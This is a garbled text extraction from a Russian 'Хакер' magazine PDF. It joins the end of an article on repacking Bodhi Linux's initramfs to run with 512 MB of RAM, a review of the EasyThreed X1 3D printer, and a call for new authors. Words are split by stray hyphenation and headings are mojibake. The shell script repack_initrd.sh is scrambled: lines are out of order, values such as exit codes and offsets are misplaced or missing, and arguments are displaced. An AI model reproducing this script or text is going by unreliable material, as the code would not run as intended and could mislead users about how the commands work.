веров аппа рату ры мож но при менить xz-сжа тие с добав лени ем к их име нам
суф фикса . Про вер ка на реаль ном компь юте ре с гра фичес кой под систе- 
мой AMD Radeon показа ла, что такой спо соб дей стви тель но работа ет:

.xz

kernel: firmware_class:fw_get_filesystem_firmware: radeon 0000:01:05.
0: Loading firmware from /lib/firmware/radeon/RS690_cp.bin.xz 
kernel: firmware_class:fw_get_filesystem_firmware: radeon 0000:01:05.
0: f/w decompressing radeon/RS690_cp.bin 

 
 2048 

kernel: firmware_class:fw_set_page_data: firmware_class: fw_set_page_
data: fw-radeon/RS690_cp.bin fw_priv=(____ptrval____) data=(____
ptrval____) size=

Что бы уви деть ана логич ные записи в сво ем сис- 
темном жур нале, тебе понадо бит ся вклю чить
регис тра цию отла доч ных сооб щений для фун- 
кций, находя щих ся в рас смот ренном выше фай ле
с исходным тек стом. Для это го в стро ку парамет- 
ров заг рузки ядра Linux перед 

 вставь сле дующий текст:
quiet splash 

--

dyndbg="file drivers/base/
firmware_loader/main.c +fmp"

ÑÎÁÈÐÀÅÌ ÂÑЁ ÂÌÅÑÒÅ

Итак, что бы опти мизи ровать МФС дис три бути ва опе раци онной сис темы
Bodhi Linux 7.0 (или дру гой, пос тро енной на осно ве Ubuntu 22.04 LTS), надо
выпол нить сле дующие дей ствия.
1. Рас паковать МФС из фай ла дис три бутив ного носите ля 

 в каталог .
casper/initrd.

gz ./initramfs

2. Сжать фай лы модулей ядра с помощью ути литы  и добавить к их име- 
нам суф фикс . Эти фай лы находят ся в вет ке 

 и име ют рас ширение .

zstd

.zst usr/lib/modules/*/

kernel .ko

3. Об новить зависи мос ти с помощью коман ды .depmod -ab ./initramfs

4. Сжать фай лы с мик ропрог рамма ми и дан ными устрой ств с помощью ути- 
литы  и добавить к их име нам суф фикс . Эти фай лы находят ся в вет- 
ке  и могут иметь раз ные рас ширения.

xz .xz

usr/lib/firmware

5. За писать в начало нового фай ла  два пер вых бло ка cpio
из ста рого фай ла .

initrd.zst

initrd.gz

6. Соз дать новый блок cpio из сжа тых на шагах 2 и 4 фай лов и записать его
треть им в файл .initrd.zst

7. Уда лить из МФС вет ви с фай лами, упа кован ными на шаге 6.
8. Упа ковать оставшу юся часть МФС в cpio, сжать с помощью ути литы 

и дописать его в конец фай ла .
zstd

initrd.zst

Во обще-то для сбор ки обра за МФС исполь зуют ути литы из пакета
. Но занимать ся его доработ кой толь ко для того, что бы

один раз изго товить МФС дис три бутив ного носите ля, не хочет ся. Как пересо- 
бирать файл initrd вруч ную, я под робно опи сывал в при ложе ниях к статье
« ».
Здесь же я хочу поделить ся с тобой сце нари ем, который выпол няет всю
работу авто мати чес ки. Надо толь ко в катало ге, где он рас положен, соз дать
под каталог  и записать в него содер жимое 

 Bodhi Linux 7.0.0-64, при мон тирован ного в точ ке :

initramfs-tools

Linux на диете. Умень шаем тре бова ния Bodhi Linux к опе ратив ной памяти

isofs офи циаль ного дис три бутив- 
ного носите ля /mnt/BL70

$ mkdir isofs 
 $ cp -R /mnt/BL70/. ./isofs 

Будь вни мате лен и не забудь ука зать точ ку в пути
к источни ку , потому что без нее
не ско пиру ется скры тый под каталог  дис- 
три бутив ного носите ля.

/mnt/BL70/.
.disk

А вот и текст сце нария обо лоч ки , который пересо бира ет

МФС из фай ла  в файл :

repack_initrd.sh
$SRC_INITRD $TGT_INITRD

#!/bin/sh
LANG=POSIX 
SRC_INITRD=./isofs/casper/initrd.gz 
TGT_INITRD=./isofs/casper/initrd.zst 
INITRAMFS=./initramfs 
SGN_CPIO="ASCII cpio archive"
SGN_ZSTD="Zstandard compressed data"

0 OFFSET=
       

 1  
[ -f $SRC_INITRD ] || { echo "ERROR: Source file not found: 
$SRC_INITRD"; exit ; }
###
# Определение смещения OFFSET к блоку, который содержит сжатую МФС
###

 echo "Search for the compressed initramfs in $SRC_INITRD."
 512 CONTENT="`dd if=$SRC_INITRD bs= skip=$OFFSET | file -`"

  |   while echo "$CONTENT" grep -q "$SGN_CPIO"
do

 echo "Skip part at: $OFFSET"
 512 

    1
SIZE=`dd if=$SRC_INITRD bs= skip=$OFFSET | cpio -it 2>&1 | grep 
block | cut -d ' ' -f `
OFFSET=$(($OFFSET+$SIZE))

 512 CONTENT="`dd if=$SRC_INITRD bs= skip=$OFFSET | file -`"
done

  |   if echo "$CONTENT" grep -q "$SGN_ZSTD"
then

 echo "Compressed initramfs found at: $OFFSET"
else

 echo 'Compressed initramfs not found.'
1 exit 

fi
###
# Распаковка содержимого МФС в каталог $INITRAMFS
###

 echo "Extracting initramfs content into $INITRAMFS."
       [ -d $INITRAMFS ] && rm -fr $INITRAMFS

 mkdir $INITRAMFS
 512  dd if=$SRC_INITRD bs= skip=$OFFSET | unzstd | cpio -idD $INITRAMFS

###
# Сжатие модулей ядра и обновление зависимостей
###

 echo 'Compressing kernel modules.'
find  .ko $INITRAMFS/usr/lib/modules/*/kernel -name * \
         -exec zstd --compress -19 -o '{}.zst' '{}' \; -and\
      -exec rm '{}' \;

 echo 'Updating modules dependencies.'
 depmod -ab $INITRAMFS

###
# Сжатие firmware
###

 echo 'Compressing firmware.'
find  f $INITRAMFS/usr/lib/firmware -type \
       -exec echo '{}' \; \
     xz   -and -exec --compress -C crc32 '{}' \;
###
# Сборка нового образа МФС в $TGT_INITRD
###

 echo "Packing all together into $TGT_INITRD"
{

 512 dd if=$SRC_INITRD bs= count=$OFFSET
 cd $INITRAMFS

        (echo '.'; echo './usr'; echo './usr/lib'; echo './usr/lib/modules';
\
  ls -1d ./usr/lib/modules/*; \

find ./usr/lib/modules/*/kernel ./usr/lib/firmware) | cpio -H newc -o
 rm -fr ./usr/lib/modules/*/kernel ./usr/lib/firmware 

find . | cpio -H newc -o | zstd -8
 .. cd
  } > $TGT_INITRD

 echo 'Done.'

Здесь все дол жно быть понят но из ком мента риев. Пояс ню толь ко два момен- 
та.
1. В пер вой стро ке перемен ной  прис ваивает ся зна чение , что бы

выпол няемые из сце нария ути литы выдава ли канони чес кие сооб щения
на англий ском язы ке, а не на язы ке обще ния поль зовате ля сис темы. Если
это го не сде лать, то мож но получить проб лему опре деле ния типа сос- 
тавных час тей обра за МФС в фай ле  по сиг натурам

 и .

LANG POSIX

$SRC_INITRD

$SGN_CPIO $SGN_ZSTD

2. При архи виро вании сжа тых модулей ядра и бинар ных фай лов для устрой-
ств коман де cpio явным обра зом переда ются про межу точ ные под катало ги

, , , , потому что к момен ту рас- 
паков ки в фор миру емой в опе ратив ной памяти МФС пути 

 еще не сущес тву ет, а алго ритм рас паков ки cpio, реали зован ный
в ядре Linux, не под держи вает соз дание про межу точ ных катало гов.

. ./usr ./usr/lib ./usr/lib/modules

./usr/lib/

modules

К статье при лага ется архив ,
в котором, помимо опи сан ного здесь сце нария

, ты най дешь сце нарий
 для сбор ки модифи циро ван ного

дис три бутив ного обра за .
Перед его выпол нени ем убе дись, что в сис теме
уста нов лен пакет , и соз дай
самос тоятель но допол нитель ные пун кты меню
заг рузчи ков в фай лах 

 и 
, в которых  замени

на .

bl70_lowram.tgz

repack_initrd.sh
make_iso.sh

bl70_lowram.iso

genisoimage

isofs/isolinux/
isolinux.cfg isofs/boot/grub/grub.
cfg /casper/initrd.gz

/casper/initrd.zst

ÂÛÂÎÄÛ

Те перь ты смо жешь, если захочешь, соб рать свой вари ант дис три бути ва
Bodhi Linux 7.0, который будет заг ружать ся на компь юте рах, име ющих все- 
го 512 Мбайт опе ратив ной памяти, тог да как офи циаль ный тре бует
как минимум в два раза боль ше. Неп лохой резуль тат, если учесть, что
это самая акту аль ная на момент написа ния статьи вер сия Ubuntu LTS с лег- 
ковес ной, но пол ноцен ной гра фичес кой обо лоч кой Moksha Desktop. Такой
дис три бутив ный носитель может при годить ся в качес тве ава рий ного для ана- 
лиза проб лем и вос ста нов ления работос пособ ности компь юте ров. С него
же, помимо про чего, мож но уста новить опе раци онную сис тему для пов- 
седнев ной работы.

https://github.com/torvalds/linux/commit/23cfbc6ec44e5e80d5522976ff45ffcdcddfb230
https://xakep.ru/2022/12/16/linux-low-ram/
https://sourceforge.net/projects/bodhilinux/files/7.0.0/bodhi-7.0.0-64.iso/download
https://static.xakep.ru/attach/bl70-lowram.tgz
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3D-печатью я увле каюсь уже дав но,
но домаш ним 3D-прин тером поль зовал ся
нечас то: на работе у меня име ется целых
два подоб ных аппа рата. Гро мад ная «Прю- 
ша» занима ла слиш ком мно го мес та,
поэто му, про дав ее, я оза дачил ся поис ком
какого-нибудь ком пак тно го недоро гого
аппа рата на слу чай, если мне прис пичит
быс тро напеча тать что-нибудь мел кое.
Выбор пал на EasyThreed X1 — 3D-прин тер
раз мером с неболь шую книж ку. О нем я
сегод ня и рас ска жу.

Ис тория любитель ских 3D-прин теров началась в 2005 году, ког да появи лась
пер вая информа ция о про екте RepRap. В его осно ве лежала идея соз дания
самоко пиру юще гося устрой ства — 3D-прин тера, на котором мож но было бы
напеча тать дру гой 3D-прин тер. Реали зовать эту тех нологию в целом уда лось.
Соз датель RepRap, пре пода ватель машинос тро ения в бри тан ском уни вер- 
ситете Бата Адри ан Боуер, пла ниро вал рас простра нять чер тежи и схе мы
устрой ства в интерне те, что бы любой жела ющий мог пос тро ить собс твен- 
ный 3D-прин тер без необ ходимос ти заказы вать где-то дорогос тоящее обо- 
рудо вание. В мар те 2005 года он запус тил в сети блог, пос вящен ный это му
про екту, а уже 13 сен тября сле дующе го, 2006 года пер вый про тотип RepRap
успешно напеча тал копию собс твен ной детали, которую потом исполь зовали
вмес то ана логич ного узла прин тера, изна чаль но изго тов ленно го на заказ.

Пер вый 3D-прин тер RepRap

Фи наль ная вер сия RepRap, получив шая наиме нова ние Darwin в честь извес- 
тно го англий ско го уче ного-натура лис та, уви дела свет в 2008 году. Этот прин- 
тер сумел вос про извести при мер но полови ну деталей, из которых он был
изго тов лен, а 14 апре ля 2008 года он напеча тал пер вый в исто рии пот- 
ребитель ский пред мет — дер жатель меди апле ера iPod для креп ления
на при бор ной панели в авто моби ле Ford Fiesta. В течение 2008 года во всем
мире было пос тро ено более 100 копий 3D-прин тера RepRap Darwin,
а 30 нояб ря того же года поль зователь Уэйд Борц сооб щил, что ему уда лось
напеча тать на RepRap пол ный ком плект деталей, из которых мож но соб рать
дру гой такой же прин тер.

Ад риан Боуер (сле ва) демонс три рует исходный прин тер RepRap и его
«потом ка», напеча тан ного на нем самом

Схе ма, впер вые при менен ная в прин тере RepRap Darwin, исполь зует ся
во мно гих 3D-прин терах и по сей день. Она называ ется XY Head Z Bed.
Как она выг лядит на прак тике? Давай раз берем ся, пос мотрев на рисунок.

Схе ма устрой ства 3D-прин тера XY Head Z Bed

Ос нова мно гих 3D-прин теров — это печата ющий модуль с экс тру дером.
С помощью элек трод вигате ля в этот модуль пода ется лег коплав кая плас- 
тиковая нить, которую час то называ ют филамен том (от англ. lament, «нить»).
Внут ри модуля она наг рева ется, под дей стви ем тем перату ры пла вит ся и бла- 
года ря уси лию дви гате ля про тал кива ется через соп ло экс тру дера. Соп ло
име ет очень малень кий диаметр, на выходе из него наг ретая нить получа ется
тон кой и очень элас тичной. Абсо лют но по такому же прин ципу работа ет зна- 
комый каж дому «домаш нему мас теру» тер мокле евой пис толет, толь ко вмес то
нити там при меня ются тол стые цилин дри чес кие брус ки лег коплав кого
полиме ра.

Ра ма 3D-прин тера, исполь зующе го схе му XY Head Z Bed, пос тро ена
по клас сичес кой декар товой сис теме коор динат. Печата ющая голов ка с наг- 
реватель ным эле мен том и экс тру дером переме щает ся вдоль осей X и Y,
а стол, на котором рас полага ется печата емая деталь, дви гает ся по оси Z. Все
оси (и сис тема подачи плас тиковой нити тоже) при водят ся в дви жение
шаговы ми элек трод вигате лями, а управля ет этой машине рией элек трон ный
кон трол лер, в роли которо го обыч но выс тупа ет одноплат ный мини-компь- 
ютер: Arduino, Raspberry Pi или им подоб ный. С помощью спе циаль ной прог- 
раммы кон трол лер отсы лает на дви гате ли управля ющие сиг налы, а они,
в свою оче редь, переме щают печата ющий модуль по горизон тали и вер- 
тикали. В резуль тате сла жен ной син хрон ной работы всех дви гате лей печата- 
ющий модуль может опи сывать слож ные тра екто рии, соз давая с помощью
наг ретой нити сво еоб разный замыс ловатый «рисунок».

Де таль на таком прин тере печата ется пос лой но. Сна чала устрой ство
«укла дыва ет» на стол пер вый слой плас тика, который «при липа ет» к его
повер хнос ти, удер живая будущую деталь. Затем поверх пер вого слоя прин- 
тер «рису ет» плас тиком вто рой, над ним — тре тий и так далее. Пос тепен но,
шаг за шагом, на сто ле 3D-прин тера «вырас тает» объ емное изде лие.

3D-прин тер соз дает деталь пос лой но

Центр тяжес ти в про цес се работы такого прин тера не меня ет сво его положе- 
ния, пос коль ку модуль экс тру дера не дви гает ся по оси Z. Колеба ния при этом
минималь ны. Минималь ны и тре бова ния к мощ ности, а так же надеж ности
при вода оси Z — «один раз в слой» дви гатель сме щает стол на очень малень- 
кий шаг, сдви гая плат форму вниз. Вниз не вверх, в дан ном слу чае вес плат- 
формы помога ет дви гате лю, а не тре бует от него допол нитель ных уси лий.
Получи лась очень прос тая и очень надеж ная конс трук ция, а всем, кто хоть
нем ного зна ком с раз работ кой любых устрой ств, извес тно, что чем про ще
сис тема, тем мень ше веро ятность слу чай ной полом ки.

Со вре менем инже неры при дума ли мно жес тво тех нологи чес ких решений,
улуч шающих эту конс трук цию. Появи лись раз личные схе мы управле ния экс- 
тру дером. Что бы умень шить мас су дви жущих ся час тей, дви гатель подачи
плас тика на некото рых моделях перемес тили в кор пус. Были раз работа ны
схе мы CoreXY, H-Bot, схе ма Bowden-экс тру дера. С исполь зовани ем этих схем
дос тига ется бльшая ско рость печати и точ ность позици они рова ния экс тру- 
дера, чем обес печива ется высокое качес тво получа емо го изде лия.

Во вто рой модели прин тера RepRap, Mendel, раз работ чики попыта лись
улуч шить жес ткость конс трук ции, изме нив схе му на XZ Head Y Bed. В этой
схе ме печата ющий модуль с экс тру дером дви гал ся по осям X и Z, а стол —
по оси Y.

Схе ма устрой ства 3D-прин тера XZ Head Y Bed

Од нако соз датели тут же стол кну лись с огромным количес твом проб лем
в нас трой ке такого прин тера. При вод по оси Z с помощью рем ней не выдер- 
жива ет никакой кри тики. Попытав шись испра вить один недос таток, инже неры
нап лодили дру гие с еще более печаль ными пос ледс тви ями. Хотя плюс у такой
схе мы все-таки был, и зна читель ный: боль шая пло щадь печати.

Мо дер низаци ей и даль нейшей доработ кой этой схе мы занял ся чеш ский
инже нер Йозеф Прю ша. Из его про екта вырос, пожалуй, самый рас простра- 
нен ный тип самодель ных и пос тавля емых в виде конс трук тора ком плек тов
для сбор ки 3D-прин теров: Prusa i3.

Прю ша поменял при воды по оси Z с рем ней на вин товые шпиль ки и сде- 
лал жес ткую раму. Проч ность конс трук ции мно гок ратно повыси лась, упрости- 
лась сбор ка и нас трой ка изде лия. Имен но это, навер ное, и явля ется при- 
чиной столь высокой популяр ности схе мы. Мно гие про изво дите ли выб рали
XZ Head Y Bed в качес тве осно вы для сво их сбор ных ком плек тов.

Ти пич ный пред ста витель семей ства Prusa — Ender, мой основной
рабочий прин тер

Од нако, что бы добить ся нуж ного резуль тата, соз дателю Prusa i3 приш лось
отой ти от пер воначаль ной идеи RepRap и сде лать мно гие детали невос про- 
изво димы ми на самом прин тере. В плю се такой схе мы мы име ем отно ситель- 
но низ кую сто имость и воз можность самос тоятель ной сбор ки.

Но есть и минусы. Для «Прю ши» очень слож но сде лать зак рытый кор пус.
Кро ме того, ката ющий ся туда-сюда стол с деталью не добав ляет качес тву
печати никаких плю сов, зато уве личи вает обте кание изде лия потока ми воз- 
духа и соз дает про доль ные наг рузки на неос тывшем плас тике. Излишний
обдув детали воз духом уско ряет зас тывание некото рых сор тов филамен та,
что может при вес ти к рас сла ива нию изде лия, если слои не успе ли как сле- 
дует «схва тить ся».

Бла года ря под вижно му сто лу в про цес се работы у прин тера меня ется
положе ние цен тра тяжес ти, но эту проб лему решили, урав новесив конс трук- 
цию. В некото рых моделях для при вода оси Z исполь зует ся два дви гате ля, что
сни жает общую надеж ность узла. Хотя в боль шинс тве слу чаев исполь зует ся
один шаговый дви гатель, вра щающий вер тикаль ную шпиль ку с резь бой,
а вто рая шпиль ка, обес печива ющая устой чивость конс трук ции, снаб жена
цилин дри чес кой шай бой с внут ренней резь бой и в переме щении экс тру дера
по вер тикали непос редс твен но не учас тву ет, играя роль пас сивной опо ры.

Еще одна аль тер натив ная схе ма кинема тики 3D-прин теров — X Head YZ
Bed.

Схе ма устрой ства 3D-прин тера X Head YZ Bed

Продолжение статьи →
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Ми нусы — все те же самые, что у пре дыду щей схе мы, и к ним еще при бавил ся
нес табиль ный центр тяжес ти. Есть исполь зующие эту схе му прин теры,
которые выпус кают ся серий но. Но по срав нению с аль тер натив ными схе мами
их количес тво невели ко.

Схе ма XY Bed Z Head тоже сто яла у исто ков раз вития нас толь ных прин- 
теров, она ведет свою исто рию от фре зер ных стан ков. Там она явля ется
одной из основных и име ет все при чины быть такой. При фре зеров ке исполь- 
зуют ся боль шие мощ ности и мас сивные при воды. Сама же деталь весит мно- 
го мень ше при вода, и дви гать стол с ней гораз до про ще. Ско рос ти обра бот- 
ки на фре зер ном стан ке неболь шие, поэто му переме щать стол на таких ско- 
рос тях проб лемы нет. В 3D-печати все по-дру гому. Что бы обес печить дос- 
таточ ную ско рость работы прин тера, нам тре буют ся быс трые при воды, а это
соз дает наг рузку на дви гате ли для переме щения сто ла сра зу в двух нап- 
равле ниях.

Схе ма устрой ства 3D-прин тера XY Bed Z Head

За кон чим с клас сичес кими схе мами и обра тим вни мание на экзо тику. Вот
такой замыс ловатый прин тер носит наиме нова ние Delta.

3D-прин тер Delta

Ка кие пре иму щес тва пред лага ют нам соз датели такой схе мы? Повышен ную
ско рость работы и боль шую высоту печати. Отло жим в сто рону воп росы ско- 
рос ти, это хорошее пре иму щес тво, ког да оно не идет во вред качес тву изде- 
лия. Нас чет высоты рас печаты ваемых деталей. Ско рость печати по горизон- 
тали у 3D-прин тера нам ного выше, чем ско рость печати по вер тикали.
Это обус ловле но естес твен ными при чина ми: чем боль шего качес тва мы
жела ем добить ся при печати, тем тонь ше слой мы исполь зуем и тем доль ше
идет печать.

Кро ме того, конс трук ция с сов сем ины ми алго рит мами управле ния
не добав ляет устрой ству надеж ности. Это мое лич ное мне ние. Я уже под- 
нимал дис куссию на эту тему на про филь ных форумах, но дру гие учас тни ки
не выс казали внят ных аргу мен тов в поль зу такой схе мы, за исклю чени ем того,
что «Дель та — это кру то».

Кро ме все го про чего, есть информа ция от раз работ чиков 3D-прин теров,
что схе ма Delta име ет проб лемы с точ ностью позици они рова ния печата юще- 
го модуля. Естес твен но, это отри цатель но ска зыва ется на качес тве печати.
Одна ко количес тво «под водных кам ней» тех ничес кого пла на, о которых
не спе шат рас ска зывать соз датели, не меша ет раз витию подоб ных про ектов,
поэто му имен но такую схе му исполь зуют нес коль ко моделей китай ских 3D-
прин теров бюд жетно го сег мента.

На этой мыс ли, я думаю, мы и завер шим наш крат кий обзор конс трук ций
и кинема тики сов ремен ных бытовых прин теров и перей дем непос редс твен но
к модели, которую я при обрел для домаш него исполь зования.

ÏÎ×ÅÌÓ EASYTHREED X1?

Преж де все го потому, что этот прин тер очень ком пак тный. Я, кажет ся,
говорил, что он раз мером с неболь шую кни гу? Вот он рядыш ком с нашим
недав но выпущен ным сбор ником избран ных ста тей из жур нала «Хакер», мож- 
но наг лядно срав нить габари ты.

EasyThreed X1 рядом с кни гой. Он реаль но малень кий!

EasyThreed X1 — это клас сичес кий 3D-прин тер, пос тро енный по схе ме XZ
Head Y Bed. Прав да, в отли чие от «Прю ши», переме щение по оси Z выпол- 
няет ся с исполь зовани ем не вин тового шки ва, а зуб чатого рем ня. Но пос- 
коль ку сам прин тер доволь но ком пак тный, а его детали лег кие, ремень
с переме щени ем печата ющей голов ки и одной горизон таль ной нап равля- 
ющей впол не справ ляет ся.

Стол у это го прин тера, как и у мно гих дру гих бюд жетных устрой ств,
без подог рева. Подог рев сто ла поз воля ет надеж нее фик сировать на его
повер хнос ти печата емую деталь, а так же избе жать ее слу чай ного отры ва
во вре мя печати. У EasyThreed X1 на плас тиковом сто ле зак репле но шер- 
шавое пок рытие, на ощупь напоми нающее «наж дачку-нулев ку», которое
обес печива ет доволь но надеж ную адге зию (при липа ние деталь ки к повер- 
хнос ти сто ла). По край ней мере, отод рать изде лие от этой повер хнос ти
по завер шении печати не так-то и прос то. Минус в том, что это пок рытие
несъ емное, в отли чие от того же Ender, где оно выпол нено в виде маг нитно го
ков рика, который мож но снять и про мыть водой или обра ботать щет кой
от остатков плас тика. Здесь без раз борки сто ла пок рытие заменить
не получит ся.

Кста ти, по поводу сто ла. Обыч но его регули ров ка пред став ляет собой
отдель ную проб лему: необ ходимо выс тавить рас сто яние меж ду соп лом экс- 
тру дера (в запар кован ном положе нии) и повер хностью сто ла во всех четырех
край них точ ках не более тол щины лис та офис ной бумаги. У бюд жетных 3D-
прин теров авто мати чес кой подс трой ки сто ла, разуме ется, нет, поэто му дела- 
ется это вруч ную вра щени ем четырех под пру жинен ных вин тов, рас положен- 
ных сни зу. У того же Ender стол при ходит ся подс тра ивать регуляр но — пос ле
нес коль ких ите раций печати или дол гого прос тоя калиб ровка сби вает ся.
Видимо, из-за того, что сам EasyThreed X1 малень кий, а стол лег кий, нас тро ив
его при пер вом запус ке, я не менял положе ние вин тов ни разу.

За то в EasyThreed X1 есть авто мати чес кая заг рузка и выг рузка филамен та,
которых нет даже в более дорогих моделях Prusa, вклю чая тот же Ender. Там
нуж но нажать на фик сатор и руками про пихи вать плас тик в экс тру дер, пока он
не потечет из соп ла. Тут — нажал на кно поч ку и ждешь, пока прин тер сам заг- 
рузит в экс тру дер нить. Экс трак ция тоже авто мати чес кая и сде лана по уму:
сна чала прин тер про дав лива ет филамент впе ред, что бы очис тить соп ло,
и толь ко потом мед ленно и печаль но извле кает его из печата юще го модуля.
Кра сота!

Что мож но отнести к недос таткам прин тера — так это доволь но хлип кий
дер жатель для катуш ки с плас тиком. Кро ме того, дер жатель низ кий (в силу
ком пак тных раз меров самого прин тера), поэто му боль шой моток филамен та
на нем помес тить невоз можно. Катуш ку стан дар тно го раз мера при ходит ся
класть рядыш ком и вни матель но сле дить, что бы плас тик сво бод но пос тупал
в экс тру дер, пери оди чес ки отма тывая его понем ногу вруч ную. Ко все му про- 
чему прин тер дос таточ но шум ный, но к это му быс тро при выка ешь.

EasyThreed X1 в про цес се печати

Блок управле ния прин тером здесь вынесен в отдель ный модуль, к которо му
под клю чает ся адап тер питания. Кно пок на кон трол лере все го четыре: одна
поз воля ет запар ковать печата ющую голов ку, три сосед ние — заг рузить
филамент, выг рузить филамент и начать печать. Пов торное нажатие этой же
кноп ки при необ ходимос ти при оста нав лива ет работу прин тера. Все прос то.
В бло ке управле ния име ется интерфейс для под клю чения к компь юте ру
с помощью шну ра USB (разъ ем име ет обыч ный «прин терный» фор мат USB
AB) и счи тыва тель для карт фор мата microSD. На такую кар ту мож но записать
файл печата емо го изде лия в фор мате GCode.

Сра зу ска жу, что нас тро ить «пря мую» печать с компь юте ра по кабелю мне
так и не уда лось, как я ни ста рал ся. Зато с microSD прин тер печата ет отлично.
Прав да, у этой модели отсутс тву ет ЖК-дис плей, поз воля ющий выб рать файл
для печати, что доволь но-таки неудоб но. Поэто му при ходит ся пос тупать так:
очи щать кар точку, записы вать на нее под готов ленный слай сером GCode-
файл, встав лять кар ту в прин тер и запус кать печать нажати ем на кноп ку —
прин тер авто мати чес ки под хва тыва ет лежащий на кар те фай лик. С дис пле ем,
поз воля ющим выб рать какую-то кон крет ную модель из нес коль ких, было бы
не в при мер удоб нее, но я доволь но быс тро при норо вил ся и к такому спо собу
работы.

Пе чать детали завер шена

Об ласть печати у прин тера неболь шая: все го лишь 100 × 100 × 100 мм, ско- 
рость печати тоже сов сем не кос мичес кая: 10–40 мм/с. Но для бытовых нужд
это го впол не хва тает. Пос коль ку EasyThreed X1 обо рудо ван сто лом
без подог рева, его «род ной» тип плас тика — PLA диамет ром 1,75 мм.
С исполь зовани ем ABS я печатать не про бовал, но подоз реваю, что делами- 
нации не избе жать — деталь, ско рее все го, будет отсла ивать ся от повер- 
хнос ти сто ла. А вот филамен том Watson он печата ет нор маль но; прав да,
для работы с этим типом прут ка при ходит ся прог рам мно под нимать тем- 
перату ру соп ла до 230 гра дусов (при чем 230 для него — это вер хний пре дел,
так что с печатью ABS точ но будут проб лемы).

Что каса ется качес тва печати, то EasyThreed X1 под держи вает тол щину
слоя от 0,05 до 0,3 мм при диамет ре соп ла 0,4 мм. Изде лия получа ются впол-
не при емле мыми, слои на повер хнос ти, конеч но, замет ны нево ору жен ным
гла зом, но этим гре шат прак тичес ки все бытовые 3D-прин теры бюд жетно го
сег мента. Хочет ся получить иде аль но ров ную «глян цевую» деталь — дих- 
лорэтан в помощь (толь ко не забывай, что это вещес тво очень ток сично).

ÂÛÂÎÄÛ

Еще одним сущес твен ным недос татком EasyThreed X1 я бы наз вал отсутс твие
понят ной инс трук ции по нас трой ке и готовых про филей для слай серов. Нет,
ману ал, конеч но, име ется, при чем целых два: крат кий и лаконич ный —
на англий ском, а так же под робный и исчерпы вающий — на китай ском. Тем
не менее нагуг лить парамет ры прин тера, которые сле дует ввес ти в Cura,
для меня не сос тавило боль шого тру да, все нас трой ки есть на форумах энту- 
зиас тов 3D-печати, а сам про цесс вби вания нуж ных циферок в Cura занял
у меня минут пять.

Лич но я этим при обре тени ем доволен: прин тер занима ет мало мес та,
прост в экс плу ата ции, вот уже год с неболь шим работа ет у меня дома
без еди ного сбоя. Да, круп ную деталь на нем не напеча таешь, для это го есть
устрой ства поболь ше и подоро же. Но для того, что бы получить 

 что-то ком пак тное или прос то поучить ся 3D-печати,
EasyThreed X1 — это неп лохой вари ант началь ного уров ня.

фи гур ку
из Warhammer 40К



СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

